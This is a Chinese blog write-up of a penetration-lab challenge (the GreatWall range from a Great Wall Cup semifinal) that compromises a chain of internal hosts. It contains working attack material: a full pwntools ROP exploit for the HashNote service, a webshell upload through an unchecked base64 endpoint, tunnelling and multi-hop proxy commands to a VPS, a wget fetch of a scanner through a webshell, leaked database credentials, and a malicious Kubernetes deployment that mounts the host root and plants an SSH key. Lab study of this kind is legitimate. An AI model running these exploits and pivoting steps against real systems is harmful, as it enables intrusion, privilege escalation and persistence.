春秋云境 GreatWall(第一届长城杯半决赛渗透题)

ThinkPHP (172.28.23.17)

先扫描端口,发现开放了两个web服务

8080是一个后台登录框,版本是ThinkPHP V5.0.23

直接用tp5的nday打

写入shell后根目录有flag1

然后上传fscan开始扫内网

1
2
3
4
5
6
7
8
9
10
11
12
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:04:4a:03 brd ff:ff:ff:ff:ff:ff
inet 172.28.23.17/16 brd 172.28.255.255 scope global dynamic eth0
valid_lft 315357428sec preferred_lft 315357428sec
inet6 fe80::216:3eff:fe04:4a03/64 scope link
valid_lft forever preferred_lft forever

发现存活主机如下

1
2
172.28.23.26
172.28.23.33

第一层内网

建立代理

通过Neo-reGeorg上传一个tunnel.php

然后本地建立连接,转发到本地的6666端口

python neoreg.py -k dr0n1 -p 6666 -u http://8.130.36.152:8080/tunnel.php

然后使用proxifier或者SwitchyOmega等代理

智联科技 ERP (172.28.23.33)

开放了8080端口,访问是 智联科技 ERP 后台登陆

扫下目录

python dirsearch.py -u http://172.28.23.33:8080/ --proxy socks5://127.0.0.1:6666

显然是Shiro框架+heapdump泄露

使用JDumpSpider分析heapdump,拿到ShiroKey

1
2
3
4
5
6
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES

===========================================

注入内存马后连接shell

没找到flag,用户是ops01,应该是要提权

在/home/ops01/中有HashNote文件,开放了59696端口

分析HashNote文件

首先调用了sub_40501E()进行身份验证,密码为freep@ssw0rd:3

选项1调用了sub_404924()

输入key后调用了sub_40482C(),生成hash作为索引,返回的范围是0-126

因为在重复判断时没有对索引进行验证,存在数组越界

选项2调用了sub_404B7A()

与1同样,没有对索引验证,可以构造data,实现任意地址读

选项3调用了sub_404D2D()

与2一样,输出变成了写入,可以任意地址写

因为username的地址在数组之后,所以越界后数组可以索引到username

先构造两个同样hash不同key的数据

1
2
3
4
5
6
7
def add(key,data='b'):
p.sendlineafter(b'Option:',b'1')
p.sendlineafter(b'Key:',key)
p.sendlineafter(b'Data:',data)

add(b'\x30'*1+b'\x31'+b'\x44',b'test')
add(b'\x30'*2+b'\x31'+b'\x44',b'test')

然后再username中伪造数据,获取栈的地址

1
2
3
4
5
6
7
8
9
10
username=0x5dc980
stack=0x5e4fa8
ukey=b'\x30'*5+b'\x31'+b'\x44'

fake_chunk=flat({
0:username+0x10,
0x10:[username+0x20,len(ukey),\
ukey,0],
0x30:[stack,0x10]
},filler=b'\x00')

拿到地址后就可以向栈中写入rop链

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.arch='amd64'

def add(key,data='b'):
p.sendlineafter(b'Option:',b'1')
p.sendlineafter(b'Key:',key)
p.sendlineafter(b'Data:',data)

def show(key):
p.sendlineafter(b'Option:',b'2')
p.sendlineafter(b"Key: ",key);

def edit(key,data):
p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',key)
p.sendlineafter(b'Data:',data)

def name(username):
p.sendlineafter(b'Option:',b'4')
p.sendlineafter(b'name:',username)


p = remote('172.28.23.33', 59696)
# p = process('./HashNote')


username=0x5dc980
stack=0x5e4fa8
ukey=b'\x30'*5+b'\x31'+b'\x44'

fake_chunk=flat({
0:username+0x10,
0x10:[username+0x20,len(ukey),\
ukey,0],
0x30:[stack,0x10]
},filler=b'\x00')

p.sendlineafter(b'name',fake_chunk)
p.sendlineafter(b'word','freep@ssw0rd:3')

add(b'\x30'*1+b'\x31'+b'\x44',b'test') # 126
add(b'\x30'*2+b'\x31'+b'\x44',b'test') # 127


show(ukey)
main_ret=u64(p.read(8))-0x1e0




rdi=0x0000000000405e7c # pop rdi ; ret
rsi=0x000000000040974f # pop rsi ; ret
rdx=0x000000000053514b # pop rdx ; pop rbx ; ret
rax=0x00000000004206ba # pop rax ; ret
syscall=0x00000000004560c6 # syscall

fake_chunk=flat({
0:username+0x20,
0x20:[username+0x30,len(ukey),\
ukey,0],
0x40:[main_ret,0x100,b'/bin/sh\x00']
},filler=b'\x00')

name(fake_chunk.ljust(0x80,b'\x00'))


payload=flat([
rdi,username+0x50,
rsi,0,
rdx,0,0,
rax,0x3b,
syscall
])

p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',ukey)
p.sendline(payload)
p.sendlineafter(b'Option:',b'9')
p.interactive()

/root/flag_RaYz1/f1ag03.txt拿到flag3

有两张网卡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:03:cb:48 brd ff:ff:ff:ff:ff:ff
inet 172.28.23.33/16 brd 172.28.255.255 scope global dynamic eth0
valid_lft 315357178sec preferred_lft 315357178sec
inet6 fe80::216:3eff:fe03:cb48/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:03:97:b8 brd ff:ff:ff:ff:ff:ff
inet 172.22.10.16/24 brd 172.22.10.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe03:97b8/64 scope link
valid_lft forever preferred_lft forever

将fscan传到172.28.23.17后wget下载

172.22.10.1/24 网段存活如下

1
172.22.10.28

新翔OA (172.28.23.26)

在之前的扫描结果中看到开放了21端口,匿名用户可以登录

下载oa源码

开始审计代码

main.php开始,开头引入了db.phpchecklogin.php

抽象的鉴权

checklogin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function islogin(){
if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){
if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){
return true;
}
else {
return false;
}
}
else {
return false;
}
}
?>

Cookie: id=1;loginname=1;jueseid=1;danweiid=1;quanxian=1 直接登录

登进去后好像没什么用,后台写的很简陋,没有功能点

在源码根目录下还有一个uploadbase64.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
/**
* Description: PhpStorm.
* Author: yoby
* DateTime: 2018/12/4 18:01
* Email:logove@qq.com
* Copyright Yoby版权所有
*/
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
$type = ".".$result[2];
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img = base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');

对于上传的校验不完整,只要符合格式是data:image/xxx;base64,xxx这种就行了

连上shell后发现有很多disable_functions

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,file_get_contents,readfile,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,highlight_file,show_source,iconv,dl

用蚁剑自带的插件绕过即可

不过连接前需要修改下.antproxy.php中的$url,加一个/upload

然后就可以执行命令来提权了

执行find / -perm -u=s -type f 2>/dev/null,发现base32有suid权限,可以利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/staprun
/usr/bin/base32
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep

查看网卡情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:01:54:82 brd ff:ff:ff:ff:ff:ff
inet 172.28.23.26/16 brd 172.28.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe01:5482/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:01:a4:5e brd ff:ff:ff:ff:ff:ff
inet 172.22.14.6/16 brd 172.22.255.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe01:a45e/64 scope link
valid_lft forever preferred_lft forever

同样的wget下载fscan

http://172.28.23.26/upload/.antproxy.php?a=system("wget http://172.28.23.17:8080/fscan");

然后反弹到thinkphp里执行

172.22.14.1/24 网段存活如下

1
2
172.22.14.37
172.22.14.46

第二层内网

建立代理

使用Stowaway将内网主机多层代理出来

1:vps上作为管理端
./linux_x64_admin -l 2223 -s 2223

2:ThinkPHP (172.28.23.17) 作为跳板
./linux_x64_agent -c 47.99.77.52:2223 -s 2223 --reconnect 8

3:控制端监听端口

1
2
3
4
5
6
7
8
(admin) >> use 0
(node 0) >> listen
[*] BE AWARE! If you choose IPTables Reuse or SOReuse,you MUST CONFIRM that the node you're controlling was started in the corresponding way!
[*] When you choose IPTables Reuse or SOReuse, the node will use the initial config(when node started) to reuse port!
[*] Please choose the mode(1.Normal passive/2.IPTables Reuse/3.SOReuse): 1
[*] Please input the [ip:]<port> : 8889
[*] Waiting for response......
[*] Node is listening on 8889

4:新翔OA (172.28.23.26)连接到ThinkPHP (172.28.23.17)
./linux_x64_agent -c 172.28.23.17:8889 -s 2223 --reconnect 8

5:然后就可以建立socks代理了

1
2
3
4
(node 0) >> socks 7878
[*] Trying to listen on 0.0.0.0:7878......
[*] Waiting for agent's response......
[*] Socks start successfully!

Harbor (172.22.14.46)

尝试打harbor未授权

下载secret镜像

python harbor.py http://172.22.14.46/ --dump harbor/secret -v2

得到flag5

DooTask (172.22.10.28)

下载projectadmin镜像

python harbor.py http://172.22.14.46/ --dump project/projectadmin -v2

run.sh

1
2
3
4
5
6
#!/bin/bash
sleep 1

# start
java -jar /app/ProjectAdmin-0.0.1-SNAPSHOT.jar
/usr/bin/tail -f /dev/null

找到ProjectAdmin-0.0.1-SNAPSHOT.jar然后反编译

泄露了数据库账号密码

1
2
3
4
5
6
7
spring.datasource.url=jdbc:mysql://172.22.10.28:3306/projectadmin?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

mybatis.type-aliases-package=com.smartlink.projectadmin.entity
mybatis.mapper-locations=classpath:mybatis/mapper/*.xml

直接用MDUT一把梭

k8s (172.22.14.37)

fscan扫到了10250端口,这个端口有个k8s kubelet 10250端口未授权,但是不符合利用条件

尝试另一个6443端口的Api Server未授权

编辑恶意yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.8
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /

创建pod

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil.yaml

列出pod

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -n default

进容器

kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-zfgqd /bin/bash

写公钥

echo "ssh-rsa xxxx" > /mnt/root/.ssh/authorized_keys

ssh连接,在数据库中得到flag

拓扑图

大概绘制的拓扑图


春秋云境 GreatWall(第一届长城杯半决赛渗透题)
https://www.dr0n.top/posts/f249db01/
作者
dr0n
发布于
2024年6月10日
更新于
2024年6月12日
许可协议